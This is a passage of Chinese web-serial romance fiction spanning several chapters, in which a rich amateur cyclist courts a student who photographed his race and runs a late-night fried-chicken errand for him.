他用布把水擦干,又把车轮装回去,洗干净打上蜡的车仿佛闪着光,单承言很满意自己的手艺,围着车看了一圈,确定没问题后才放在院子里晾干。
单承言把水枪和雪尼尔手套往墙上挂好,清洁剂、各式刷子等工具都放回箱子里,这才拿出手机查看信息。
一点开微信,王达煜的头像旁边冒着写了“53”字样的小红泡。
单承言知道这是他的照片到了,他点开对话框,点开最下面的一张图片。
然后单承言裂开了。
这个一米五的斜眼傻大个是谁啊!
他不信邪地往上划拉,一张一张看过去,然后遭受到了五十三次暴击。
单承言用力闭眼深呼吸,颤抖着打出:“还有没发完的吗?哥们?”
王达煜的信息回得很快:“哥们!这些照片都是我精心选过的,觉得拍得很帅才给你发出来的。”
王达煜继续输出:“那些拍糊了拍歪的被人挡了的我就删掉了哇。”
单承言绝望了,准备爬上官博看看官摄的照片发出来没。
结果王达煜的下一句又给他点燃了一丝希望:“浪哥的有点多啊,我给上传到网盘了,一会传完给你发过来!”
“好,辛苦了兄弟。”单承言在心里祈祷,不安地在客厅转了两圈,环视着自己挂墙上的十来辆公路车,这才冷静了一点。
然后王达煜的信息又到了。
单承言复制那串链接,存到百度网盘,在点开文件夹之前,他想——
这么好看的小人鱼,肯定拍不出丑照的,对吧?
他不可能不自拍吧?怎么样也能懂点构图吧!
然后他又降低了一点期待,只要不是离谱成王达煜这样的都能后期救救……
*
单承言随意点开一张,加载的圆环转了两圈,随后弹出一张极具冲击力的半身照——他当时正准备冲线,头低得很下,只看得清部分鼻子和下巴,一滴刚被甩出的汗与头盔上残留的雨珠交相呼应,骑行眼镜折射出一抹七彩的虹光。
身体前倾伏出锐利的角度,如同一头出笼的猛兽,背肌高高隆起,双臂紧绷,握住车把的双手青筋暴起,上身白色的骑行服已经被完全汗湿,透出一大片肉色。
身后是模糊的欢呼人群和平坦的柏油路,整张照片唯一清晰的就是正在冲线的他,仿佛生来就是世界中心。
单承言满意地吹了声口哨,然后开始慢慢翻看剩余的照片。
江瑶浪确实拍了很多照片,但是和他说的不一样,他不是因为害怕出片太少才狂按快门,如果让单承言评价,他觉得这更像是一种练习,一种以他为主角的构图练习。
构图丰富,色调亮度基本合适,偶有几张过曝的废片,但总体的质量比单承言的预期高出太多。
哪怕是那张表情有点傻愣,单承言认为一定是张丑图的照片也出乎他意料的好看,不知道江瑶浪是怎么捕抓这一瞬间的,明明是担心无法出图的呆滞,却让他拍出一种完赛后的迷茫与疲累——就是那种兴奋过后疲惫上涌,无力控制面部肌肉,于是选择面无表情,半张着嘴喘气,连眼神也有点微微涣散。
“耍人玩的小人鱼。”单承言哼了声,他不可避免地想起,因为不信任江瑶浪而配合王达煜那些蠢指令摆出的姿势,自己给他当模特拍了这么久,别说出片了,连一张能还原他身高都没有。
真是气人。
他挑了几张自己最喜欢的照片给王达煜发了过去,跟他说如果他们公司要宣传的话就用这些,别人拍的别随便乱用。
王达煜依旧秒回:“哥们,你从哪个摄影师身上扒的啊?要授权了吗?”
单承言:“?”
“你浪哥拍的你自己不知道啊?”单承言无语。
“我勒个豆,我浪哥这么牛逼的吗?无敌了兄弟。”王达煜震惊。
单承言:“……”
“对了,你浪哥微信推我一下呗。”单承言超绝不经意打出这行字,然后有些紧张地等回复。
他还怕王达煜觉得奇怪,莫名其妙要另一个男人的微信,明明也没什么交集,结果王达煜一句话没问,直接就把江瑶浪的微信发了过来,还配上一句,“浪哥给你拍这么帅,你想要感谢他也是人之常情!”
虽然单承言本意不是这个,但确实是一个很好的借口,然后他谢过王达煜之后就准备添加江瑶浪。
在申请的时候,他才想起来自己还不知道江瑶浪的名字,所以只发了个:浪哥,我是单承言。
然后就开始研究江瑶浪的微信昵称,研究他的微信头像。
江瑶浪的头像是白底的,一颗被拍得很有质感的、裹了透明纸的橙子糖居中,橙子糖上面还搭配了一顶手绘的简笔皇冠。
而他的微信昵称是:不要柠檬。
单承言戳戳那颗橙子糖,嘴里念念叨叨:“不要柠檬?这么可爱……”
但除了头像和昵称,单承言别的也看不到了,只能等待江瑶浪通过申请。
*
江瑶浪根本不知道单承言是谁,他看着那个忧郁的全黑头像和装逼的“S.”微信昵称,直接无视了新增的好友申请。
在退出界面之前还不忘指着那个申请教育一下妹妹:“这种黑头像的一般都有点问题,你要远离,知道吗?”
江瑶清吃着冰:“好的哥!哥你也要小心被伤痛哥缠上。”
江瑶浪不以为然:“谁打得过你哥。”
结果江瑶清放下叉子,幽幽地说:“你一个gay就不能敏锐点吗?又不是没谈过恋爱。”
江瑶浪:“……”
她又点了点被江瑶浪放在桌面上的手机,“全黑头像,起手叫你浪哥。”
“……更重要的是你不认识他,完蛋了哥,你被人盯上了,不仅名字外泄,连微信号都被攻克了。”江瑶清继续恶魔低语。
江瑶浪:“…………”
“嘻嘻,”江瑶清看她哥实在无语,很识趣地换了个话题,“今天那个高富帅你认识吧?”
江瑶浪自然地接过话题,点了点头:“是海洋馆的观众,上周他侄女生日,硬是给经理砸钱把我喊回来多游了一场。”
江瑶浪啧了一声,继续说:“不过给了六百块,而且小女孩也挺可爱的,就也还行吧。”
提到单诺真,江瑶浪才有点兴趣,他继续说:“那小姑娘就到我腰,跟你小时候特别像,又乖又甜,嗯……还爱犯花痴。”
江瑶清大怒:“我什么时候犯花痴了!”
江瑶浪举证:“你小时候偷偷买男模杂志,半夜打手电看,你不记得了?”
“还有那些偷偷写的明星哥哥的情书……我当时还以为你要早恋呢,结果一看信封上的名字,发现是明星我才放心,”江瑶浪还在输出,“哦,还有死皮赖脸让我带你去见面会,然后尖叫发狂了一整天,我记得好像还有,让我想想……”
然后他就看到江瑶清用手臂比出来一个大大的叉。
“……行,不说了,反正就是只见过一次,连他名字都不知道,只记得他的侄女叫真真。”江瑶浪非常听话。
“就这样啊,”江瑶清点点头,然后她又提起单承言的车,“哎哥,你知道他那个车有多贵不,十几万呢!”
江瑶浪还真不知道那个自行车的价格,他想过会贵,但是不知道这么贵,“你怎么知道的?”
“以前不是有个新闻,就是说有个小孩碰坏了一个人的自行车吗?那个车和今天高富帅的车是一个牌子!”江瑶清解释,“十几万的车啊!我不得学着点,省得莫名其妙就背上了一笔巨款。”
江瑶浪觉得很有道理,于是他拿起手机也准备学习:“那车是啥牌子来着?”
正好冰也吃完了,江瑶清干脆起身坐到江瑶浪身边,问他要手机
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:“来来来,清姐帮你搜。”
江瑶浪失笑:“那谢谢清姐了。”
*
那边的兄妹还在学车,这边的单承言已经等到发霉。
他反反复复拿起手机查看江瑶浪通过他的申请没,这一等就等到了晚上,单承言手稿都快画完了,江瑶浪还是没同意。
“难道是没看手机吗?不应该啊。”单承言疑惑。
但他很快想到了另一种可能:“我靠,这么高冷,不认识人也不问一句。”
完全忘记他本人也是这种做派,简直忘如本。
找到问题的所在后,单承言重新编辑了申请信息,然后继续等待。
这次倒很快就被同意了。
单承言精神一振,发过去了一个:“嗨。”
*
“浪哥,我是单承言,就是今天的冠军车手,微信是王达煜推过来的。”
江瑶浪收到这条申请信息的时候,正在宿舍吃黄庆出差带回来的特产。
看到内容,他问王达煜:“今天那个高富帅叫单承言?”
王达煜也在吃,半边腮帮鼓囊囊,说话也含含糊糊:“对啊浪哥,他说要加你跟你说谢谢来着,你把他拍太帅了吧,下次给我也拍一套哇!”
确认后,江瑶浪动动手指添加了好友,然后对着王达煜说:“行啊,找个时间给你拍。”
张乐强和黄庆也要凑热闹,他们问:“拍什么拍什么?”
王达煜擦擦手,然后拿出手机把照片找出来给他们看:“来来来,都来看我浪哥拍的大片。”
然后宿舍就响起了起起伏伏的“我去”、“牛逼”!
再接下来就是两双星星眼和异口同声的:“浪哥我也要!”
“好好好,都拍都拍。”江瑶浪是个慈父。
*
打发了宿舍的孩儿们后,江瑶浪才回复单承言的消息:“嗨。”
那边估计是一直守着,很快就又发来新消息:“怎么一开始不加我啊?”
江瑶浪也坦诚,直言:“哦,我看着黑头像有点发怵。”
那边先是显示“对方正在输入…”了一阵,然后又停了。
再过一会,头像也变了,变成了一张涂鸦字母手稿,江瑶浪辨认了一下,才确认画的是“Sweety”。
关于黑头像的解释随之而来,很显然在极力维护形象:“哎,那是之前玩大冒险输了换的,我真不是emo哥啊,也不在半夜网抑云。”
江瑶浪才不管他半夜在不在网抑云,干巴巴回了个:“哦。”
对面:“太冷漠了吧,好歹也见两次了。”
江瑶浪不爱聊这种没事找事的话题,他回:“感谢就不必了,也是帮大煜一个忙,图片你随便用,也不用署我名。”
他自认已经把事情说清楚了,结果对面还在纠缠:“那你就是故意让我遭受直男拍摄的摧残。”
江瑶浪:“?”
“王达煜没发你看?”这句明显带点崩溃情绪。
江瑶浪真不知道王达煜把他拍成啥样,也无意关注,但既然对方提出来了,他走过去就问王达煜要照片看看。
王达煜很大方,表示随便看,一边翻还一边解说,解释自己的创作思路云云。
江瑶浪还没说话,张乐强先忍不住了:“我靠,这哥们和刚刚是同一个?”
张乐强还特别损,故意放大了照片,指着翻白眼的单承言:“哇塞,你的创作思路就是拍帅哥翻白眼吗哈哈哈哈哈哈哈!!!”
后面又一起看了几张,张乐强越笑越放肆。
黄庆也在笑,但他看着逐渐红温王达煜很识趣地往回走,不出所料,两傻子很快又扭打在一起。
而早就默默无言回到了自己的座位,然后回:“现在看到了。”
想了想又补了一句:“看到了你在标准地翻白眼。”
单承言:“?”
然后:“!!!!!!!——”
5. 第 5 章
次日晚九点,涂装设计师Sweety发了一条微博。
内容很简单,只有两张图片,一张是星之卡比涂装的车架,一张是码表数据。
才发出去不到一分钟,评论就已经涨了几十条。
评论区:
Sweety求你接单:我不废话,看我id。
我不爱吃辣堡:3小时45速度……大佬怎么又强了!!
出门遛弯:你这个涂装咋弄的,这种多层次的效果求教。
无糖白馒头尖叫:大佬最近不画花了?
……
*
单承言发这条微博就是为了装的,他自己不差钱,涂装和骑行都是爱好,接单是不可能接单的,以前也不是没人想砸钱让他屈服,单承言啥也没回,只是默默发了三张照片。
一张挂了十几辆崔克皮娜闪电的客厅墙,一张是被他摆放在收藏室的各种限量涂装和联名款,剩下的一张是他配了私人烤漆房工作室——“果核突袭”。
然后那位砸钱不成的默默删评,后来的人也都是走以情动人路线,祈祷哪天Sweety心情大好主动接单,或者中途破产被迫接单。
单承言略过一众求开单的评论,又看了几条夸他牛逼的,那张翻白眼的照片才被他甩在脑后。
而在一众求开单和夸夸中,有一条评论格外显眼。
我是你爹:滚过来喝酒。
单承言一看就知道这人是他的发小李聿鸣,他没回评论——Sweety就是这样的,评论不回私信不读,高冷得很。
他切出微博,点开一个微信群聊,在里面发了四个红包。
群聊:钱砸群里听个响(6)
【S.】:[红包]
【S.】:[红包]
【S.】:[红包]
【S.】:[红包]
【S.】:领了红包的把李聿鸣打一顿,拍照发群里。
红包刚进群里就秒没,而李聿鸣那个不要脸凭借手速也抢到了一个。
【我是你大爹】:你怎么把黑头像给换了?我记得没到点吧!
【S.】:@我是你大爹照脸上来两拳[握手][握手]
【我是你大爹】:[定位]
【我是你大爹】:滚过来喝酒,就差你了。
【S.】:李叔把你卡停了?挑这么个小酒吧。
【我是你大爹】:懂个屁,这边大学生多。
【S.】:[中指表情包]
【玉玉症要犯了】:甜哥我没抢到红包55555
【S.】:真服了你这什么破昵称。
【S.】:[红包]
这次红包没有被秒,而是过了一会才显示领取。
随之而来的是一段不到三秒的视频。
【赏金猎人玉玉】:[视频]
单承言点开视频,就看到宋流玉那只戴满五金的手迅速地朝李聿鸣的红脑袋来了一巴掌,在闹哄哄的酒吧里面也能清晰地听到一声清脆的“啪”。
最后一秒的镜头异常摇晃,但还是坚强地把李聿鸣的半声“操”给录了进去。
【赏金猎人玉玉】:任务完成[敬礼]
【S.】:[点赞][点赞][点赞]
【小春小春】:我和双胞胎把李聿鸣按住了,单承言你过来就能打。
【哥哥】:1
【弟弟】:2
单承言龙颜大悦,从墙上搬下来一台派大星涂装闪电S-Works,骑向酒吧。
*
小破酒吧门口整整齐齐停了一行豪车,一看就知道是他那群不务正业的好友干的,尤其是那个最高最红的巴博斯,绝对是李聿鸣新提的。
所以他毫不客气地把自己的车提起来放在车前盖上。
这把门口接待吓得心惊胆颤,不过接待是个难得识货的,虽然这人骑着单车就来酒吧了,但那车比普通家用车还贵,所以只敢上前劝他停到酒吧门口,还美名其曰放车盖上小心会摔。
单承言看他一眼:“这不是有你帮忙看着么。”
接待被堵得哑口无言。
门内门外是两个世界,一进门单承言就被吵得难受,但偏偏李聿鸣就喜欢这种调调,不吵的他还不爱去,也不知道是不是打枪打多了听力下降得厉害。
李聿鸣一桌人也很好找,里面的空间本来就不大,尤其是李聿鸣一头独秀的樱木花道同款红寸头非常显眼,他们占了视野最好的V卡,四个身高腿长的男人在座位上挤来挤去。
钟京辉先看到了往这边走的单承言,于是给他哥打了个颜色,趁着李聿鸣没反应过来,一人控制着一边就把李聿鸣按桌上了。
宋流玉非常识趣地又举起手机拍视频。
李聿鸣还在看直播呢,被他们这么一袭击,手机直接就摔外边地上了。
这时单承言刚走到,他先是把李聿鸣的手机捡起来不经意扫了一眼,于是他就看到了一个叫“小添想赚大钱”没露脸的主播穿着女仆装随着音乐扭得起劲,整个直播间套了一层粉色滤镜。
而李聿鸣正是该主播的榜一大哥,刚发出去的撩骚弹幕还没被刷走。
单承言把手机拍李聿鸣脸上,说:“你现在喜欢这么壮的?”
李聿鸣挣开双胞胎的钳制,把手机抢了回来,没好气地说:“男的!看不出来啊?”
闻言,单承言坐在李聿鸣旁边,哥俩好地用手臂环住他半边身体,单承言怜悯地说:“军队呆久了,性取向都变了啊!”
李聿鸣一把推开挂他身上的单承言:“神经病,离我远点。”
单承言也不生气,他随便拿起一杯桌上的鸡尾酒,刚尝出味就立马皱眉:“喊我来喝奶?”
李聿鸣有理有据:“你不是甜心哥么,特意给你点了杯粉色的,真不懂兄弟的用心良苦。”
单承言才不信这个说法,估计就是错拿了小春点了没喝的,想到苏仰春,他问了一句:“小春人呢?”
宋流玉挥舞他那被闪亮亮五金武装起来的手,抢答:“小春泡男大去了,让我们不用管她。”
“所以把我叫过来干嘛?”单承言问。
李聿鸣还在看男主播跳舞,但不妨碍他刺单承言:“怕你抱着那堆碳纤维中毒死在别墅。”
单承言:“……”
结果最后还是更为稳重的双胞胎哥哥钟京毅说了实话:“其实是李聿鸣看他家小主播吃炸鸡吃得香,受了安利,外卖又刚超了距离,所以想让你去帮忙买。”
单承言:“有病吧,你们自己不能买?”
钟京毅:“我们开车不方便啊。”
“我就方便了?”单承言大怒。
李聿鸣继续抽空接话:“你那个二轮的省钱。”
单承言满脸不情愿,跑腿这种事情少爷不屑于干。
钟京辉忧愁捧脸:“那炸鸡怎么办呢?”
单承言:“李聿鸣多刷几个礼物然后让小主播送过来呗,他不是想赚钱吗?”
这回轮到李聿鸣大怒:“这事儿能让他干吗!”
单承言被他的反应吓了一跳,然后远离李聿鸣:“不是,你不是说你没弯吗?”
“什么弯不弯的,我什么时候弯了,我就是舍不得让他跑一趟不行啊。”李聿鸣摸着自己的寸头嘴硬。
“啧啧啧,你不对劲。”单承言谁啊,一看李聿鸣摸头就知道他在撒谎。
不过他现在也被那个炸鸡吸引,他问:“什么炸鸡这么牛逼啊?能让你们一群人这么感兴趣?”
宋流玉摸摸下巴:“怎么讲呢,主要是那小主播吃得确实很香,还不带重复地夸了十几分钟。”
钟京毅:“总而言之哥们就是好奇。”
钟京辉:“总而言之弟们就是好奇。”
单承言:“……”
“那你们自己点个跑腿。”单承言做了决定。
结果这时候宋流玉灵光一闪:“哎嘿,这样,我们都往朋友圈发个招募,看看谁先能找到人愿意跑一趟!”
单承言:“那先找到的怎么说。”
宋流玉:“什么怎么说,那就吃炸鸡不花钱呗。”
单承言:“你那炸鸡值几个钱。”
钟京毅:“我觉得可以。”
钟京辉:“我觉得可以。”
李聿鸣:“反正我和小添都不去买。”
于是宋流玉愉快拍板:“来来来,我先发一条以身作则!”
然后他就装模做样地开始打字。
单承言:“……”
*
江瑶浪今天下班晚了点,家教的小孩年纪不大,父母又加班,一个人在家江瑶浪不放心,所以他等到了小孩妈妈回来的时候才离开。
回到学校的时候十点多,他去后街点了个炒饭,在等炒饭的时候百无聊赖地刷朋友圈,就看到那个高富帅少爷刚发了条圈。
S.:诚招阿强炸鸡跑腿一位。
这条朋友圈带了定位,江瑶浪看了眼是家离他不远的酒吧,又看了眼就在他旁边的阿强炸鸡。
于是他点开了那人的涂鸦头像,开始对话:“给多少?”
*
单承言没想到自己能秒收到信息,而且还是那条昨晚开始就没回他消息的小人鱼。
他回得很快:“什么给多少?”
【小人鱼】:不是找跑腿?
【小人鱼】:[照片]
【小人鱼】:这家?
单承言立马坐
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直了,朝在座的各位败犬摇了摇手机:“找到人了,等吃吧。”
结果宋流玉尖叫:“不是吧你真发了?”
单承言:“?”
单承言:“神经病你们这群人。”
而钟京辉已经趴在他哥身上笑得起不来了。
就连李聿鸣也不看小主播了,回敬了他一个怜悯的眼神:“都说了不要长时间和碳纤维呆一起。”
单承言无语,但是小人鱼都游过来了,那再拒绝不是耍人玩吗?
要是以后不理他了,甚至把自己删了咋办。
于是他回:“啊对,朋友说这家好吃。”
“你跑一趟的话,我给你一千行吗?”单承言现在倒是有点理解为什么李聿鸣不愿意让小主播跑腿了,现在角色对换,换他其实也不太舍得让鱼来一趟。
【小人鱼】:?
单承言看到这个问号一惊:“是太少了吗?那两千?”
【小人鱼】:你们几个人?
单承言回:“五个,都是男的。”
【小人鱼】:你给我转两百,我帮你们看着买。
看到这条信息,单承言手比脑快,非常迅速地发了两百过去。
【小人鱼】:一会我快到了就给你发信息,店里人多,没这么快。
单承言哪里敢催他,只说:“不着急,你慢慢来。”
【小人鱼】:[OK]
*
江瑶浪先去阿强炸鸡点单,然后再返回来吃炒饭,炒饭吃完了炸鸡也还没好,他就又在门口站着等,强叔看他等着无聊,请他喝了瓶汽水,问他怎么不和以前一样在微信提前点单。
江瑶浪咬着吸管:“接了个跑腿,帮别人买的。”
强叔打趣他:“现在混这么惨?回来给叔打工呗。”
江瑶浪:“偶尔偶尔,反正不远。”
又等了几分钟,江瑶浪才提着一大袋炸鸡,扫了辆共享单车,在开踩前他给单承言发了个信息,告诉他自己大概十分钟后到。
单承言一看到信息就站起来了,迈开腿就要往门口走。
然后被李聿鸣展臂拦下:“等等等等,急着干嘛呢,刚刚就看你一直抱着手机看。”
单承言懒得理他,让他麻溜让开。
李聿鸣:“你把自己女朋友喊来送炸鸡了?”
女朋友。
单承言在心里咀嚼着这个词,觉得有点美妙。
但是单承言装习惯了,反而把眉压得更低:“又有你什么事。”
李聿鸣也不恼,笑嘻嘻地说:“我懂我懂,兄弟不打扰你们谈情说爱,不着急回来哈。”
剩下的宋流玉三人也很大方,一口一个不着急啊不着急啊,不吃也是可以的。
单承言心里本来就窝着气,他一个个指了过去以示闭嘴。
*
单承言到门口的时候江瑶浪还没到,不知道怎么的,居然还觉得有点紧张,他靠在墙壁点了根烟,才抽了没两口,就看到江瑶浪踩着单车出现在街口的尽头。
他迅速掐灭烟,然后丢进门口的垃圾桶。
刚丢完,江瑶浪就已经来到了他的身前。
江瑶浪用手指了指车筐里面的那一大袋炸鸡:“趁热吃吧,这家真挺好吃的。”
单承言应了声,伸手拿了以后还在傻愣愣地看着江瑶浪。
江瑶浪今天把头发扎了个高马尾,露出一张完整的小脸和修长的脖子,他穿着规规矩矩扣好扣子的白衬衫,搭配了条浅蓝色的牛仔裤和浅灰色的板鞋,双臂撑在车把上,完全就是校园文里走出来的白月光学长。
结果下一秒学长就催他走:“还站着干嘛呢?买了一百八,多的二十算我的跑腿费不过分吧?”
闻言,单承言紧张地解释:“不是,哎我不是问你钱的事情。”
他也不知道该怎么解释刚刚那一瞬的心动,只能干巴巴地说:“其实刚刚我是被他们耍了,没想到麻烦你跑了一趟。”
江瑶浪觉得有点好笑:“哥们,我赚钱呢。”
单承言憋了又憋,最后憋出来一句:“你住哪啊,我送你回去吧。”
江瑶浪疑惑:“不用,学校很近。”
被拒绝了以后单承言脑子也清醒了一点,他这才想起自己的派大星公路车,然后一种劫后余生般快感慢慢升起。
还好没答应……
他还在想该怎么开启一个新的话题。
结果江瑶浪直接来了一句:“成,东西也送到了,那我走了。”
单承言暗暗后悔,面上不显:“那拜拜。”
江瑶浪掉了个头,踩着自行车原路返回。
而单承言看着他再次消失在街口,直到再也看不到了才推门回到酒吧。
6. 第 6 章
单承言刚把炸鸡放在桌子上就后悔了。
于是他又原封不动地提了起来。
手伸到一半的宋流玉:“?”
单承言:“我干嘛要便宜你们。”
然后他转身离开了酒吧,把派大星从车前盖上拿了下来就往家里骑。
被剩下的四人面面相觑,就连和单承言关系最铁的李聿鸣也摸不着头脑,只说了一句:“可能是少爷病发作了吧?”
单承言其实啥也没想,他就是很单纯地觉得这些炸鸡是江瑶浪给自己的。
是江瑶浪第一次,给他送东西,是他亲手接过来的。
虽然他不爱吃炸鸡,虽然他吃不完。
但是他干嘛不能自己独占,凭什么要拿出去分享。
*
单承言蹬得飞快,感觉已经突破了自己的极速,回到别墅的时候他用手隔袋感受了下温度,幸好,炸鸡还是热的。
但是因为闷了太久,皮已经不太脆了,单承言咬了一口,说实在的,他也吃不出这家的炸鸡优势在哪。
单承言对自己的身材管理极其严格,哪怕是家庭聚餐,他也会让阿姨按照他的食谱额外做一份餐食。
这种开在路边的炸物小吃,单承言已经快八年没吃过了,而吃习惯燕麦粥全麦面包的他,第一口炸鸡进嘴第一反应不是香,而是油腻,劣质的用油攻击他的味蕾,袭击他的喉咙。
他甚至想吐出来。
可单承言还是忍住了,克制着生理反应把这块炸鸡慢慢吃完。
他无能为力地看着剩下的五人份炸鸡,拿过锡纸将它们分类包好,然后丢进了速冻层让这些炸鸡获得永生。
单承言嗅了嗅身上残留的炸鸡味,嫌弃地皱眉,随后径直走进浴室开始清洁。
这种奇怪的油腥味在他身上多呆一秒,他都想死。
从浴室出来后,单承言在吧台给自己做了杯加冰的青瓜椰子水,端着就进了画室。
画室里还有一幅未完成的画作,但是单承言今天没心情往下画。
他又另外支起了一个画布,随意调配了些颜料,然后放空思想随心而画。
等他回神的时候,画布上已经出现了一尾散着墨色大波浪卷发的橘粉人鱼,而画中的他正在含情脉脉地看向自己,湿润的双眸仿佛在渴望着他的触摸。
渴望由他顶开他的双唇,勾出那颗藏在红舌上的珍珠。
单承言把画笔丢进水桶,然后落荒而逃。
他把自己闷在被子里,在床上翻滚。
突然,单承言想起来什么,唤醒手机给江瑶浪转了两千块,被特别备注了这笔转账是劳务费。
并留言:“说了两千就是两千,你放心收。”
完事后,单承言看了眼时间,已经是凌晨三点。
他肯定早已睡下了吧。
希望这尾折腾自己的人鱼能做个好梦。
至于他自己?
单承言准备对江瑶浪仅有的七条朋友圈开展研究,直至天亮。
*
江瑶浪睁眼已经七点四十五了,不幸的是他今天还有一节早八选修课,更惨的是上课的教室还在离他最远的那栋教学楼。
江瑶浪不是很想起,他先是用手盖了两分钟眼睛,又捏了捏眉心,最后一抹脸,结束了开机动画后才把自己从床上撑起来,灵活地跳了下床。
快速完成洗漱后他接了杯热水喝,喝了两口又看了眼时间,随后把水杯往桌面上一搁,手机往兜里一揣,就迈开长腿朝教学楼狂奔而去。
九月底早上的风有点凉,两侧的银杏还没完全变色,只是边缘被阳光灼烧出一圈焦黄,成功溜出叶子遮挡的光疏疏地洒在江瑶浪奔跑的身影上,随着跑动时扬时伏的一头发丝也成了它们的舞台。
江瑶浪踩着地上的光斑向前跑,碎金般的阳光在他身上肆意跳跃。
上课铃响后三分钟,江瑶浪才从后门偷偷溜到后排,值得庆祝的是老师还没开始点名。
江瑶浪小心地抑制住自己的呼吸声,不让它发出太大的动静,小脸有点红,身体有点烫,但是因为没出汗所以依旧干爽。
江瑶浪偷偷松了口气,然后摸出自己的手机开始查看消息。
最新的一条微信就是单承言那笔转账,江瑶浪点进去对话框,随手退回。
他回复:“发问号是在说一千太多,不是太少。”
然后他又点开小玲姐的信息,小玲姐说她侄女被约好的拍摄模特临时放了鸽子,问他有没有空帮忙顶上,不用露脸,工作时间在今天下午一点,报酬按照市场价给,随消息还附上了工作地点的定位。
江瑶浪今天就一节早八,也不用去海洋馆,家教在晚上六点,拍摄的地方还算方便,于是就答应了下来。
他继续往下看,是家教小孩发来的一道数学题,江瑶浪把图片移进备忘录,然后开始编辑解题思路和过程,完事后把内容导出为图片,发给了小孩,并附言:“晚上我再给你讲讲,这个知识点你掌握得还是不够。”
再接着他又清了些不太重要的信息,还顺手点进餐馆福利群抢到了个五毛钱的红包,结果还有一个顽固的小红点冒着,江瑶浪还以为是卡了,往上划拉了一下才发现是单承言的回复。
【单承言】:那行,你啥时候有空啊?一起吃个饭?
说实话江瑶浪不太能理解这个少爷为什么从一开始就对他兴趣满满,不过他暂时还没有继续与他打交道的想法,于是他以自己要工作为由拒绝了。
结果对面还不放弃。
【单承言】:你是去海洋馆?
【不要柠檬】:不是,去帮朋友忙。
【单承言】:在哪里啊,我能去吗?
江瑶浪都要无语了,他回:“不太方便。”
对面看起来还是很不服气,但也只能窝窝囊囊地回复:“好的。”
就在江瑶浪以为对话结束了的时候,新消息又来了。
【单承言】:那,有空的时候跟我说一下?我存了一家很好吃的烧鸟。
江瑶浪对这种死贵的鸡肉烤串兴趣不大,但他也没扫兴。
【不要柠檬】:好o.o
*
一夜没睡的单承言看到江瑶浪发来的“好”和萌萌的颜表情,沧桑的双眼瞬间有了光。
然后他一个电话打给苏仰春,问她上周发在朋友圈夸的那家烧鸟叫什么名字,在哪里,被生生吵醒的苏仰春把他骂了个狗血淋头,睡在她身侧的男大看她实在生气正准备哄,就被她甩了一巴掌。
单承言摸摸鼻尖,理亏地挂了电话。
然后他又拨出一个电话,打算跟李聿鸣聊聊。
李聿鸣的作息比他还要魔鬼,每天雷打不动六点起床锻炼两小时,现在这个点应该刚结束。
李聿鸣接的很快:“吃早餐?”
单承言现在没什么胃口,但是觉得线下说话确实方便一些,于是让他选地方,一会他过去。
李聿鸣回他:“来我家得了呗,还去哪吃啊。”
单承言觉得不错,选了辆饱和度很低的灰绿阴阳皮娜就骑去李聿鸣家。
*
李聿鸣的家单承言很熟悉,也是他小时候住的大院,他和李聿鸣从小就是邻居,也从小比到大,尽管单承言一家后来搬离大院了,他们俩的情谊也没变。
李聿鸣虽然还能留在大院,但也总被他妈嫌弃,每天想把他赶出去,可不出任务的时候李聿鸣还是死皮赖脸地待大院里,陪他爷爷下下棋,逗逗鸟,或者打几套拳给他看,老爷子高兴了,他在家才能显得没那么碍眼。
单承言的车刚滑进门口,就看到李聿鸣蹲着在扯一小男孩的裤子。
那小孩是真的小,刚到李聿鸣膝盖。
单承言把车靠墙
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,走过去隔开他们,拯救了小孩的裤子。
单承言鄙视:“这么大个人了还欺负小孩。”
“我靠,他往我身上丢银杏,臭死了那东西。”李聿鸣辩解,证明自己扯小孩裤子是事出有因。
然后就被单承言扯着远离小孩:“走走走,吃早餐。”
李聿鸣还是不太服气,边走边骂:“高家这破小孩讨厌得要死。”
单承言惊讶,问:“高明轩这就生儿子了?”
“嘿嘿,”李聿鸣神秘地说,“没想到吧,那小孩是他弟。”
单承言算了下年龄差,然后问:“私生子?”
李聿鸣肯定了他的想法,继续说:“前段时间闹得可厉害了,那小三抱着小孩在门口一跪一哭就是大半天,高家脸都丢没了,最后还是高明轩他妈,何姨赶回来把人接了进去,这才没继续闹。”
“傻逼高宗宏脸都不敢露,只会往龟壳里面缩,那小三和小孩也讨厌得很,何姨现在都不回来了,估计是眼不见心不烦。”
李聿鸣语气不是很好,他是真的厌恶找小三的行为,尤其是何姨真的是个好人,好人不应该被辜负。
一大早的,单承言先被迫吃了一口瓜,他对评论别人的家事不敢兴趣,只是有点小后悔怎么没帮着李聿鸣一起把小破孩的裤子扯下来。
李家今天的早餐是现包的酱肉包子和热豆浆。
单承言倒了杯豆浆坐下慢慢喝,而李聿鸣胃口就比他好多了,两口一个包子,风卷残云。
吃了个半饱后,他对单承言说:“不想吃包子的话自己去煎个蛋饼呗。”
单承言压根就没胃口,现在脑袋还混乱着,就等着李聿鸣赶紧吃完他好问事。
李聿鸣看他疲惫的神情,包子也不吃了,干脆挑起话题:“怎么了这是?”
单承言喝了口豆浆,食指缓慢敲击桌面,李聿鸣等了他好一会才听到他试探地问:“你是怎么发现自己弯了的?”
结果李聿鸣一副见了鬼的表情:“说啥啊少爷,我什么时候弯了?”
单承言更不解:“你不是喜欢你那小主播吗?”
李聿鸣一听是这事情啊,解释道:“我就玩玩,小添挺可爱的,但你要说喜欢上了,这真不是。”
这下单承言听明白了:“对男人的身体有感觉,这也是正常的吗?”
李聿鸣迷糊了,但是一想到他确实是因为秦小添的身材才起兴趣的,这么描述好像也没什么问题,于是他说:“好看的身体,多看也不是什么大毛病吧?”
“可如果我老是想见他,想给他花钱,还会心疼他,这也没问题吗?”单承言再次确认。
李聿鸣思考了一下,觉得自己跟秦小添也是差不多情况啊,想见他想给他花钱舍不得别人使唤他,但是这也不是爱啊,于是他斩钉截铁地说:“正常啊。”
单承言稍微松了口气,那颗直男心又稳稳当当地回到了心腔。
然后他问了最后一个问题:“那他对我很冷淡怎么办?”
李聿鸣哪里懂怎么讨好另一个男人,他和秦小添的相处方式就是砸钱,然后秦小添提供情绪价值,所以他说:“你试试送礼物之类的?或者把人给包了?总不能有人不喜欢钱吧。”
单承言沉默片刻,吐出来一句:“包养不太尊重人。”
李聿鸣脑子也转过弯了,他突然激动地说:“你不是谈过女朋友吗?怎么追人你还问我?”
单承言无语了:“那也不是我追的她们啊,而且没多久就散了。”
“嗨,”李聿鸣一挥手,开始总结,“你想那么多呢,反正就是玩玩,能玩一起就玩玩不了一起就散了呗,也不是非他不可吧。”
单承言心里还是觉得有点不对劲,但是一时半会也想不明白,干脆就懒得深究,李聿鸣说的话也有道理。
反正也只是试试看能不能玩在一起。
7. 第 7 章
